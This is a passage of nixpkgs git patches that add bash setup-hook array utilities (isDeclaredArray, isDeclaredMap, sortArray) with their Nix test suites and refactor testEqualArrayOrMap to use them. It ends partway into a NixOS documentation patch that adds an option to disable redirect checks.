+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  emptyStringNamerefFails = testBuildFailure' {
+    name = "emptyStringNamerefFails";
+    drv = runCommand "emptyStringNameref" commonArgs ''
+      set -eu
+      if isDeclaredArray ""; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
+    expectedBuilderLogEntries = [
+      "local: `': not a valid identifier"
+      "test failed"
+    ];
+  };
+
+  namerefToEmptyStringFails = testBuildFailure' {
+    name = "namerefToEmptyStringFails";
+    drv = check {
+      name = "namerefToEmptyString";
+      scope = null;
+      intro = "local -n";
+      values = "";
+    };
+    expectedBuilderLogEntries = [
+      "local: `': not a valid identifier"
+      # The test fails in such a way that it exits immediately, without returning to the else branch.
+    ];
+  };
+
+  sameScopeEmptyStringFails = testBuildFailure' {
+    name = "sameScopeEmptyStringFails";
+    drv = check {
+      name = "sameScopeEmptyString";
+      scope = null;
+      intro = null;
+      values = "";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  sameScopeEmptyArray = check {
+    name = "sameScopeEmptyArray";
+    scope = null;
+    intro = null;
+    values = "()";
+  };
+
+  sameScopeSingletonArray = check {
+    name = "sameScopeSingletonArray";
+    scope = null;
+    intro = null;
+    values = ''("hello!")'';
+  };
+
+  sameScopeLocalUnsetArray = check {
+    name = "sameScopeLocalUnsetArray";
+    scope = null;
+    intro = "local -a";
+    values = null;
+  };
+
+  sameScopeLocalEmptyArray = check {
+    name = "sameScopeLocalEmptyArray";
+    scope = null;
+    intro = "local -a";
+    values = "()";
+  };
+
+  sameScopeLocalSingletonArray = check {
+    name = "sameScopeLocalSingletonArray";
+    scope = null;
+    intro = "local -a";
+    values = ''("hello!")'';
+  };
+
+  sameScopeDeclareUnsetArray = check {
+    name = "sameScopeDeclareUnsetArray";
+    scope = null;
+    intro = "declare -a";
+    values = null;
+  };
+
+  sameScopeDeclareEmptyArray = check {
+    name = "sameScopeDeclareEmptyArray";
+    scope = null;
+    intro = "declare -a";
+    values = "()";
+  };
+
+  sameScopeDeclareSingletonArray = check {
+    name = "sameScopeDeclareSingletonArray";
+    scope = null;
+    intro = "declare -a";
+    values = ''("hello!")'';
+  };
+
+  previousScopeEmptyStringFails = testBuildFailure' {
+    name = "previousScopeEmptyStringFails";
+    drv = check {
+      name = "previousScopeEmptyString";
+      scope = "function";
+      intro = null;
+      values = "";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  # Works because the variable isn't lexically scoped.
+  previousScopeEmptyArray = check {
+    name = "previousScopeEmptyArray";
+    scope = "function";
+    intro = null;
+    values = "()";
+  };
+
+  # Works because the variable isn't lexically scoped.
+  previousScopeSingletonArray = check {
+    name = "previousScopeSingletonArray";
+    scope = "function";
+    intro = null;
+    values = ''("hello!")'';
+  };
+
+  previousScopeLocalUnsetArrayFails = testBuildFailure' {
+    name = "previousScopeLocalUnsetArrayFails";
+    drv = check {
+      name = "previousScopeLocalUnsetArray";
+      scope = "function";
+      intro = "local -a";
+      values = null;
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeLocalEmptyArrayFails = testBuildFailure' {
+    name = "previousScopeLocalEmptyArrayFails";
+    drv = check {
+      name = "previousScopeLocalEmptyArray";
+      scope = "function";
+      intro = "local -a";
+      values = "()";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeLocalSingletonArrayFails = testBuildFailure' {
+    name = "previousScopeLocalSingletonArrayFails";
+    drv = check {
+      name = "previousScopeLocalSingletonArray";
+      scope = "function";
+      intro = "local -a";
+      values = ''("hello!")'';
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeLocalGlobalUnsetArray = check {
+    name = "previousScopeLocalGlobalUnsetArray";
+    scope = "function";
+    intro = "local -ag";
+    values = null;
+  };
+
+  previousScopeLocalGlobalEmptyArray = check {
+    name = "previousScopeLocalGlobalEmptyArray";
+    scope = "function";
+    intro = "local -ag";
+    values = "()";
+  };
+
+  previousScopeLocalGlobalSingletonArray = check {
+    name = "previousScopeLocalGlobalSingletonArray";
+    scope = "function";
+    intro = "local -ag";
+    values = ''("hello!")'';
+  };
+
+  previousScopeDeclareUnsetArrayFails = testBuildFailure' {
+    name = "previousScopeDeclareUnsetArrayFails";
+    drv = check {
+      name = "previousScopeDeclareUnsetArray";
+      scope = "function";
+      intro = "declare -a";
+      values = null;
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeDeclareEmptyArrayFails = testBuildFailure' {
+    name = "previousScopeDeclareEmptyArrayFails";
+    drv = check {
+      name = "previousScopeDeclareEmptyArray";
+      scope = "function";
+      intro = "declare -a";
+      values = "()";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeDeclareSingletonArrayFails = testBuildFailure' {
+    name = "previousScopeDeclareSingletonArrayFails";
+    drv = check {
+      name = "previousScopeDeclareSingletonArray";
+      scope = "function";
+      intro = "declare -a";
+      values = ''("hello!")'';
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeDeclareGlobalUnsetArray = check {
+    name = "previousScopeDeclareGlobalUnsetArray";
+    scope = "function";
+    intro = "declare -ag";
+    values = null;
+  };
+
+  previousScopeDeclareGlobalEmptyArray = check {
+    name = "previousScopeDeclareGlobalEmptyArray";
+    scope = "function";
+    intro = "declare -ag";
+    values = "()";
+  };
+
+  previousScopeDeclareGlobalSingletonArray = check {
+    name = "previousScopeDeclareGlobalSingletonArray";
+    scope = "function";
+    intro = "declare -ag";
+    values = ''("hello!")'';
+  };
+}
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/isDeclaredMap.bash b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/isDeclaredMap.bash
new file mode 100644
index 000000000000..47483a2f4c33
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/isDeclaredMap.bash
@@ -0,0 +1,14 @@
+# shellcheck shell=bash
+
+# isDeclaredMap
+# Tests if inputMapRef refers to a declared, associative array.
+#
+# Arguments:
+# - inputMapRef: a reference to an associative array (not mutated)
+#
+# Returns 0 if the associative array is declared, 1 otherwise.
+isDeclaredMap() {
+  # NOTE: We must dereference the name ref to get the type of the underlying variable.
+  # shellcheck disable=SC2034
+  local -nr inputMapRef="$1" && [[ ${!inputMapRef@a} =~ A ]]
+}
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/package.nix b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/package.nix
new file mode 100644
index 000000000000..99d969312dab
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/package.nix
@@ -0,0 +1,9 @@
+{
+  callPackages,
+  makeSetupHook,
+}:
+makeSetupHook {
+  name = "isDeclaredMap";
+  passthru.tests = callPackages ./tests.nix { };
+  meta.description = "Tests if an associative array is declared";
+} ./isDeclaredMap.bash
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/tests.nix b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/tests.nix
new file mode 100644
index 000000000000..ef77291d64c7
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/tests.nix
@@ -0,0 +1,377 @@
+# NOTE: Tests related to isDeclaredMap go here.
+{
+  isDeclaredMap,
+  lib,
+  runCommand,
+  testers,
+}:
+let
+  inherit (lib.attrsets) recurseIntoAttrs;
+  inherit (testers) shellcheck shfmt testBuildFailure';
+
+  commonArgs = {
+    __structuredAttrs = true;
+    strictDeps = true;
+    preferLocalBuild = true;
+    nativeBuildInputs = [ isDeclaredMap ];
+  };
+
+  check =
+    let
+      mkLine =
+        intro: values:
+        "${if intro == null then "" else intro + " "}check${if values == null then "" else "=" + values}";
+      mkScope =
+        scope: line:
+        if scope == null then
+          line
+        else if scope == "function" then
+          ''
+            foo() {
+              ${line}
+            }
+            foo
+          ''
+        else
+          builtins.throw "Invalid scope: ${scope}";
+    in
+    {
+      name,
+      scope,
+      intro,
+      values,
+    }:
+    runCommand name commonArgs ''
+      set -eu
+
+      ${mkScope scope (mkLine intro values)}
+
+      if isDeclaredMap check; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
+in
+recurseIntoAttrs {
+  shellcheck = shellcheck {
+    name = "isDeclaredMap";
+    src = ./isDeclaredMap.bash;
+  };
+
+  shfmt = shfmt {
+    name = "isDeclaredMap";
+    src = ./isDeclaredMap.bash;
+  };
+
+  undeclaredFails = testBuildFailure' {
+    name = "undeclaredFails";
+    drv = runCommand "undeclared" commonArgs ''
+      set -eu
+      if isDeclaredMap undeclared; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  arrayFails = testBuildFailure' {
+    name = "arrayFails";
+    drv = runCommand "array" commonArgs ''
+      set -eu
+      local -a array
+      if isDeclaredMap array; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  emptyStringNamerefFails = testBuildFailure' {
+    name = "emptyStringNamerefFails";
+    drv = runCommand "emptyStringNameref" commonArgs ''
+      set -eu
+      if isDeclaredMap ""; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
+    expectedBuilderLogEntries = [
+      "local: `': not a valid identifier"
+      "test failed"
+    ];
+  };
+
+  namerefToEmptyStringFails = testBuildFailure' {
+    name = "namerefToEmptyStringFails";
+    drv = check {
+      name = "namerefToEmptyString";
+      scope = null;
+      intro = "local -n";
+      values = "";
+    };
+    expectedBuilderLogEntries = [
+      "local: `': not a valid identifier"
+      # The test fails in such a way that it exits immediately, without returning to the else branch.
+    ];
+  };
+
+  sameScopeEmptyStringFails = testBuildFailure' {
+    name = "sameScopeEmptyStringFails";
+    drv = check {
+      name = "sameScopeEmptyString";
+      scope = null;
+      intro = null;
+      values = "";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  sameScopeEmptyMapFails = testBuildFailure' {
+    name = "sameScopeEmptyMapFails";
+    drv = check {
+      name = "sameScopeEmptyMap";
+      scope = null;
+      intro = null;
+      values = "()";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  # Fails because maps must be declared with the -A flag.
+  sameScopeSingletonMapFails = testBuildFailure' {
+    name = "sameScopeSingletonMapFails";
+    drv = check {
+      name = "sameScopeSingletonMap";
+      scope = null;
+      intro = null;
+      values = ''([greeting]="hello!")'';
+    };
+    expectedBuilderLogEntries = [
+      "greeting: unbound variable"
+    ];
+  };
+
+  sameScopeLocalUnsetMap = check {
+    name = "sameScopeLocalUnsetMap";
+    scope = null;
+    intro = "local -A";
+    values = null;
+  };
+
+  sameScopeLocalEmptyMap = check {
+    name = "sameScopeLocalEmptyMap";
+    scope = null;
+    intro = "local -A";
+    values = "()";
+  };
+
+  sameScopeLocalSingletonMap = check {
+    name = "sameScopeLocalSingletonMap";
+    scope = null;
+    intro = "local -A";
+    values = ''([greeting]="hello!")'';
+  };
+
+  sameScopeDeclareUnsetMap = check {
+    name = "sameScopeDeclareUnsetMap";
+    scope = null;
+    intro = "declare -A";
+    values = null;
+  };
+
+  sameScopeDeclareEmptyMap = check {
+    name = "sameScopeDeclareEmptyMap";
+    scope = null;
+    intro = "declare -A";
+    values = "()";
+  };
+
+  sameScopeDeclareSingletonMap = check {
+    name = "sameScopeDeclareSingletonMap";
+    scope = null;
+    intro = "declare -A";
+    values = ''([greeting]="hello!")'';
+  };
+
+  previousScopeEmptyStringFails = testBuildFailure' {
+    name = "previousScopeEmptyStringFails";
+    drv = check {
+      name = "previousScopeEmptyString";
+      scope = "function";
+      intro = null;
+      values = "";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  # Fails because () is ambiguous and defaults to array rather than associative array.
+  previousScopeEmptyMapFails = testBuildFailure' {
+    name = "previousScopeEmptyMapFails";
+    drv = check {
+      name = "previousScopeEmptyMap";
+      scope = "function";
+      intro = null;
+      values = "()";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeSingletonMapFails = testBuildFailure' {
+    name = "previousScopeSingletonMapFails";
+    drv = check {
+      name = "previousScopeSingletonMap";
+      scope = "function";
+      intro = null;
+      values = ''([greeting]="hello!")'';
+    };
+    expectedBuilderLogEntries = [
+      "greeting: unbound variable"
+    ];
+  };
+
+  previousScopeLocalUnsetMapFails = testBuildFailure' {
+    name = "previousScopeLocalUnsetMapFails";
+    drv = check {
+      name = "previousScopeLocalUnsetMap";
+      scope = "function";
+      intro = "local -A";
+      values = null;
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeLocalEmptyMapFails = testBuildFailure' {
+    name = "previousScopeLocalEmptyMapFails";
+    drv = check {
+      name = "previousScopeLocalEmptyMap";
+      scope = "function";
+      intro = "local -A";
+      values = "()";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeLocalSingletonMapFails = testBuildFailure' {
+    name = "previousScopeLocalSingletonMapFails";
+    drv = check {
+      name = "previousScopeLocalSingletonMap";
+      scope = "function";
+      intro = "local -A";
+      values = ''([greeting]="hello!")'';
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeLocalGlobalUnsetMap = check {
+    name = "previousScopeLocalGlobalUnsetMap";
+    scope = "function";
+    intro = "local -Ag";
+    values = null;
+  };
+
+  previousScopeLocalGlobalEmptyMap = check {
+    name = "previousScopeLocalGlobalEmptyMap";
+    scope = "function";
+    intro = "local -Ag";
+    values = "()";
+  };
+
+  previousScopeLocalGlobalSingletonMap = check {
+    name = "previousScopeLocalGlobalSingletonMap";
+    scope = "function";
+    intro = "local -Ag";
+    values = ''([greeting]="hello!")'';
+  };
+
+  previousScopeDeclareUnsetMapFails = testBuildFailure' {
+    name = "previousScopeDeclareUnsetMapFails";
+    drv = check {
+      name = "previousScopeDeclareUnsetMap";
+      scope = "function";
+      intro = "declare -A";
+      values = null;
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeDeclareEmptyMapFails = testBuildFailure' {
+    name = "previousScopeDeclareEmptyMapFails";
+    drv = check {
+      name = "previousScopeDeclareEmptyMap";
+      scope = "function";
+      intro = "declare -A";
+      values = "()";
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeDeclareSingletonMapFails = testBuildFailure' {
+    name = "previousScopeDeclareSingletonMapFails";
+    drv = check {
+      name = "previousScopeDeclareSingletonMap";
+      scope = "function";
+      intro = "declare -A";
+      values = ''([greeting]="hello!")'';
+    };
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  previousScopeDeclareGlobalUnsetMap = check {
+    name = "previousScopeDeclareGlobalUnsetMap";
+    scope = "function";
+    intro = "declare -Ag";
+    values = null;
+  };
+
+  previousScopeDeclareGlobalEmptyMap = check {
+    name = "previousScopeDeclareGlobalEmptyMap";
+    scope = "function";
+    intro = "declare -Ag";
+    values = "()";
+  };
+
+  previousScopeDeclareGlobalSingletonMap = check {
+    name = "previousScopeDeclareGlobalSingletonMap";
+    scope = "function";
+    intro = "declare -Ag";
+    values = ''([greeting]="hello!")'';
+  };
+}
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/package.nix b/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/package.nix
new file mode 100644
index 000000000000..5e5c2ced69b0
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/package.nix
@@ -0,0 +1,11 @@
+{
+  callPackages,
+  isDeclaredArray,
+  makeSetupHook,
+}:
+makeSetupHook {
+  name = "sortArray";
+  propagatedBuildInputs = [ isDeclaredArray ];
+  passthru.tests = callPackages ./tests.nix { };
+  meta.description = "Sorts an array";
+} ./sortArray.bash
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/sortArray.bash b/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/sortArray.bash
new file mode 100644
index 000000000000..17e906553dc8
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/sortArray.bash
@@ -0,0 +1,53 @@
+# shellcheck shell=bash
+
+# sortArray
+# Sorts the indexed array referenced by inputArrRef and stores the result in the indexed array referenced by
+# outputArrRef.
+#
+# Arguments:
+# - inputArrRef: a reference to an indexed array (not mutated, may alias outputArrRef)
+# - outputArrRef: a reference to an indexed array (contents are replaced entirely, may alias inputArrRef)
+#
+# Returns 0.
+sortArray() {
+  if (($# != 2)); then
+    nixErrorLog "expected two arguments!"
+    nixErrorLog "usage: sortArray inputArrRef outputArrRef"
+    exit 1
+  fi
+
+  local -rn inputArrRef="$1"
+  local -rn outputArrRef="$2"
+
+  if ! isDeclaredArray "${!inputArrRef}"; then
+    nixErrorLog "first argument inputArrRef must be a reference to an indexed array"
+    exit 1
+  elif ! isDeclaredArray "${!outputArrRef}"; then
+    nixErrorLog "second argument outputArrRef must be a reference to an indexed array"
+    exit 1
+  fi
+
+  local -a sortedArray=()
+
+  # Guard on the length of the input array, as empty array will expand to nothing, but printf will still see it as an
+  # argument, producing an empty string.
+  if ((${#inputArrRef[@]} > 0)); then
+    # NOTE from Bash's printf documentation:
+    #   The format is reused as necessary to consume all of the arguments. If the format requires more arguments than
+    #   are supplied, the extra format specifications behave as if a zero value or null string, as appropriate, had
+    #   been supplied.
+    #   - https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html#index-printf
+    # NOTE from sort manpage:
+    #   If you use a non-POSIX locale (e.g., by setting LC_ALL to 'en_US'), then sort may produce output that is sorted
+    #   differently than you're accustomed to. In that case, set the LC_ALL environment variable to 'C'. Setting only
+    #   LC_COLLATE has two problems. First, it is ineffective if LC_ALL is also set. Second, it has undefined behavior
+    #   if LC_CTYPE (or LANG, if LC_CTYPE is unset) is set to an incompatible value. For example, you get undefined
+    #   behavior if LC_CTYPE is ja_JP.PCK but LC_COLLATE is en_US.UTF-8.
+    #   - https://www.gnu.org/software/coreutils/manual/html_node/sort-invocation.html#FOOT1
+    mapfile -d $'\0' -t sortedArray < <(printf '%s\0' "${inputArrRef[@]}" | LC_ALL=C sort --stable --zero-terminated)
+  fi
+
+  outputArrRef=("${sortedArray[@]}")
+
+  return 0
+}
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/tests.nix b/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/tests.nix
new file mode 100644
index 000000000000..67d5beda1e1f
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/sortArray/tests.nix
@@ -0,0 +1,178 @@
+# NOTE: Tests related to sortArray go here.
+{
+  lib,
+  sortArray,
+  testers,
+}:
+let
+  inherit (lib.attrsets) recurseIntoAttrs;
+  inherit (testers) shellcheck shfmt testEqualArrayOrMap;
+  check =
+    {
+      name,
+      valuesArray,
+      expectedArray,
+    }:
+    (testEqualArrayOrMap {
+      inherit name valuesArray expectedArray;
+      script = ''
+        set -eu
+        nixLog "running sortArray with valuesArray to populate actualArray"
+        sortArray valuesArray actualArray
+      '';
+    }).overrideAttrs
+      (prevAttrs: {
+        nativeBuildInputs = prevAttrs.nativeBuildInputs or [ ] ++ [ sortArray ];
+      });
+
+  checkInPlace =
+    {
+      name,
+      valuesArray,
+      expectedArray,
+    }:
+    (testEqualArrayOrMap {
+      inherit name valuesArray expectedArray;
+      script = ''
+        set -eu
+        nixLog "running sortArray with valuesArray as input and output"
+        sortArray valuesArray valuesArray
+        nixLog "copying valuesArray to actualArray"
+        actualArray=("''${valuesArray[@]}")
+      '';
+    }).overrideAttrs
+      (prevAttrs: {
+        nativeBuildInputs = prevAttrs.nativeBuildInputs or [ ] ++ [ sortArray ];
+      });
+in
+recurseIntoAttrs {
+  shellcheck = shellcheck {
+    name = "sortArray";
+    src = ./sortArray.bash;
+  };
+
+  shfmt = shfmt {
+    name = "sortArray";
+    src = ./sortArray.bash;
+  };
+
+  empty = check {
+    name = "empty";
+    valuesArray = [ ];
+    expectedArray = [ ];
+  };
+
+  singleton = check {
+    name = "singleton";
+    valuesArray = [ "apple" ];
+    expectedArray = [ "apple" ];
+  };
+
+  oneDuplicate = check {
+    name = "oneDuplicate";
+    valuesArray = [
+      "apple"
+      "apple"
+    ];
+    expectedArray = [
+      "apple"
+      "apple"
+    ];
+  };
+
+  oneUnique = check {
+    name = "oneUnique";
+    valuesArray = [
+      "bee"
+      "apple"
+      "bee"
+    ];
+    expectedArray = [
+      "apple"
+      "bee"
+      "bee"
+    ];
+  };
+
+  duplicatesWithSpacesAndLineBreaks = check {
+    name = "duplicatesWithSpacesAndLineBreaks";
+    valuesArray = [
+      "dog"
+      "bee"
+      ''
+        line
+        break
+      ''
+      "cat"
+      "zebra"
+      "bee"
+      "cat"
+      "elephant"
+      "dog with spaces"
+      ''
+        line
+        break
+      ''
+    ];
+    expectedArray = [
+      "bee"
+      "bee"
+      "cat"
+      "cat"
+      "dog"
+      "dog with spaces"
+      "elephant"
+      # NOTE: lead whitespace is removed, so the following entries start with `l`.
+      ''
+        line
+        break
+      ''
+      ''
+        line
+        break
+      ''
+      "zebra"
+    ];
+  };
+
+  duplicatesWithSpacesAndLineBreaksInPlace = checkInPlace {
+    name = "duplicatesWithSpacesAndLineBreaksInPlace";
+    valuesArray = [
+      "dog"
+      "bee"
+      ''
+        line
+        break
+      ''
+      "cat"
+      "zebra"
+      "bee"
+      "cat"
+      "elephant"
+      "dog with spaces"
+      ''
+        line
+        break
+      ''
+    ];
+    expectedArray = [
+      "bee"
+      "bee"
+      "cat"
+      "cat"
+      "dog"
+      "dog with spaces"
+      "elephant"
+      # NOTE: lead whitespace is removed, so the following entries start with `l`.
+      ''
+        line
+        break
+      ''
+      ''
+        line
+        break
+      ''
+      "zebra"
+    ];
+  };
+}
diff --git a/pkgs/test/default.nix b/pkgs/test/default.nix
index dfeeef7fcf4f..f055170a2aea 100644
--- a/pkgs/test/default.nix
+++ b/pkgs/test/default.nix
@@ -201,6 +201,16 @@ with pkgs;
 
   auto-patchelf-hook = callPackage ./auto-patchelf-hook { };
 
+  # Accumulate all passthru.tests from arrayUtilities into a single attribute set.
+  arrayUtilities = recurseIntoAttrs (
+    lib.concatMapAttrs (
+      name: value:
+      lib.optionalAttrs (value ? passthru.tests) {
+        ${name} = value.passthru.tests;
+      }
+    ) arrayUtilities
+  );
+
   srcOnly = callPackage ../build-support/src-only/tests.nix { };
 
   systemd = callPackage ./systemd { };
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index db81bcfb396e..e31af28f3430 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -177,6 +177,23 @@ with pkgs;
 
   __flattenIncludeHackHook = callPackage ../build-support/setup-hooks/flatten-include-hack { };
 
+  arrayUtilities =
+    let
+      arrayUtilitiesPackages = makeScopeWithSplicing' {
+        otherSplices = generateSplicesForMkScope "arrayUtilities";
+        f =
+          finalArrayUtilities:
+          {
+            callPackages = lib.callPackagesWith (pkgs // finalArrayUtilities);
+          }
+          // lib.packagesFromDirectoryRecursive {
+            inherit (finalArrayUtilities) callPackage;
+            directory = ../build-support/setup-hooks/arrayUtilities;
+          };
+      };
+    in
+    recurseIntoAttrs arrayUtilitiesPackages;
+
   addBinToPathHook = callPackage (
     { makeSetupHook }:
     makeSetupHook {

From 1a8bb1187cca6f88472b1e3a25029f90eee004b1 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 24 Mar 2025 03:41:54 +0000
Subject: [PATCH 0909/4511] testers.testEqualArrayOrMap: use arrayUtilities
 where possible

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 4b80e5995ea038b5cce6d5279a709cfb1366d552)
---
 .../testEqualArrayOrMap/assert-equal-array.sh | 10 ++-----
 .../testEqualArrayOrMap/assert-equal-map.sh   | 27 ++++++-------------
 .../testers/testEqualArrayOrMap/default.nix   |  4 +++
 3 files changed, 14 insertions(+), 27 deletions(-)

diff --git a/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-array.sh b/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-array.sh
index ef43dedba625..b8c292ffed5e 100644
--- a/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-array.sh
+++ b/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-array.sh
@@ -1,11 +1,5 @@
 # shellcheck shell=bash
 
-# Tests if an array is declared.
-isDeclaredArray() {
-  # shellcheck disable=SC2034
-  local -nr arrayRef="$1" && [[ ${!arrayRef@a} =~ a ]]
-}
-
 # Asserts that two arrays are equal, printing out differences if they are not.
 # Does not short circuit on the first difference.
 assertEqualArray() {
@@ -19,12 +13,12 @@ assertEqualArray() {
   local -nr actualArrayRef="$2"
 
   if ! isDeclaredArray "${!expectedArrayRef}"; then
-    nixErrorLog "first arugment expectedArrayRef must be an array reference to a declared array"
+    nixErrorLog "first argument expectedArrayRef must be a reference to an indexed array"
     exit 1
   fi
 
   if ! isDeclaredArray "${!actualArrayRef}"; then
-    nixErrorLog "second arugment actualArrayRef must be an array reference to a declared array"
+    nixErrorLog "second argument actualArrayRef must be a reference to an indexed array"
     exit 1
   fi
 
diff --git a/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-map.sh b/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-map.sh
index b601f9e424e9..1469f94565dd 100644
--- a/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-map.sh
+++ b/pkgs/build-support/testers/testEqualArrayOrMap/assert-equal-map.sh
@@ -1,11 +1,5 @@
 # shellcheck shell=bash
 
-# Tests if a map is declared.
-isDeclaredMap() {
-  # shellcheck disable=SC2034
-  local -nr mapRef="$1" && [[ ${!mapRef@a} =~ A ]]
-}
-
 # Asserts that two maps are equal, printing out differences if they are not.
 # Does not short circuit on the first difference.
 assertEqualMap() {
@@ -19,26 +13,15 @@ assertEqualMap() {
   local -nr actualMapRef="$2"
 
   if ! isDeclaredMap "${!expectedMapRef}"; then
-    nixErrorLog "first arugment expectedMapRef must be an associative array reference to a declared associative array"
+    nixErrorLog "first argument expectedMapRef must be a reference to an associative array"
     exit 1
   fi
 
   if ! isDeclaredMap "${!actualMapRef}"; then
-    nixErrorLog "second arugment actualMapRef must be an associative array reference to a declared associative array"
+    nixErrorLog "second argument actualMapRef must be a reference to an associative array"
     exit 1
   fi
 
-  # NOTE:
-  # From the `sort` manpage: "The locale specified by the environment affects sort order. Set LC_ALL=C to get the
-  # traditional sort order that uses native byte values."
-  # We specify the environment variable in a subshell to avoid polluting the caller's environment.
-
-  local -a sortedExpectedKeys
-  mapfile -d '' -t sortedExpectedKeys < <(printf '%s\0' "${!expectedMapRef[@]}" | LC_ALL=C sort --stable --zero-terminated)
-
-  local -a sortedActualKeys
-  mapfile -d '' -t sortedActualKeys < <(printf '%s\0' "${!actualMapRef[@]}" | LC_ALL=C sort --stable --zero-terminated)
-
   local -ir expectedLength=${#expectedMapRef[@]}
   local -ir actualLength=${#actualMapRef[@]}
 
@@ -49,6 +32,12 @@ assertEqualMap() {
     hasDiff=1
   fi
 
+  local -a sortedExpectedKeys=()
+  getSortedMapKeys "${!expectedMapRef}" sortedExpectedKeys
+
+  local -a sortedActualKeys=()
+  getSortedMapKeys "${!actualMapRef}" sortedActualKeys
+
   local -i expectedKeyIdx=0
   local expectedKey
   local expectedValue
diff --git a/pkgs/build-support/testers/testEqualArrayOrMap/default.nix b/pkgs/build-support/testers/testEqualArrayOrMap/default.nix
index 4dc17d0e2b58..31bbc7fe3f12 100644
--- a/pkgs/build-support/testers/testEqualArrayOrMap/default.nix
+++ b/pkgs/build-support/testers/testEqualArrayOrMap/default.nix
@@ -1,4 +1,5 @@
 {
+  arrayUtilities,
   lib,
   stdenvNoCC,
 }:
@@ -21,7 +22,10 @@ lib.makeOverridable (
     inherit name;
 
     nativeBuildInputs = [
+      arrayUtilities.isDeclaredArray
       ./assert-equal-array.sh
+      arrayUtilities.isDeclaredMap
+      arrayUtilities.getSortedMapKeys
       ./assert-equal-map.sh
     ];
 

From 22fe709ac0fa1a5094073c964e9bd4c4ff797909 Mon Sep 17 00:00:00 2001
From: Adrien Faure <adrien.faure@protonmail.com>
Date: Sat, 31 May 2025 19:54:53 +0200
Subject: [PATCH 0910/4511] nixos/documentation: add option to disable
 redirects

Related to issue #https://github.com/NixOS/nixpkgs/issues/412451

(cherry picked from commit aeedfab1bfedd1407a78b3b6340e3712b5462176)
---
 nixos/doc/manual/default.nix         | 3 ++-
 nixos/modules/misc/documentation.nix | 9 +++++++++
 2 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/nixos/doc/manual/default.nix b/nixos/doc/manual/default.nix
index fd9f6761ac17..965653d0dd77 100644
--- a/nixos/doc/manual/default.nix
+++ b/nixos/doc/manual/default.nix
@@ -8,6 +8,7 @@
   baseOptionsJSON ? null,
   warningsAreErrors ? true,
   prefix ? ../../..,
+  checkRedirects ? true,
 }:
 
 let
@@ -146,7 +147,7 @@ rec {
 
         nixos-render-docs -j $NIX_BUILD_CORES manual html \
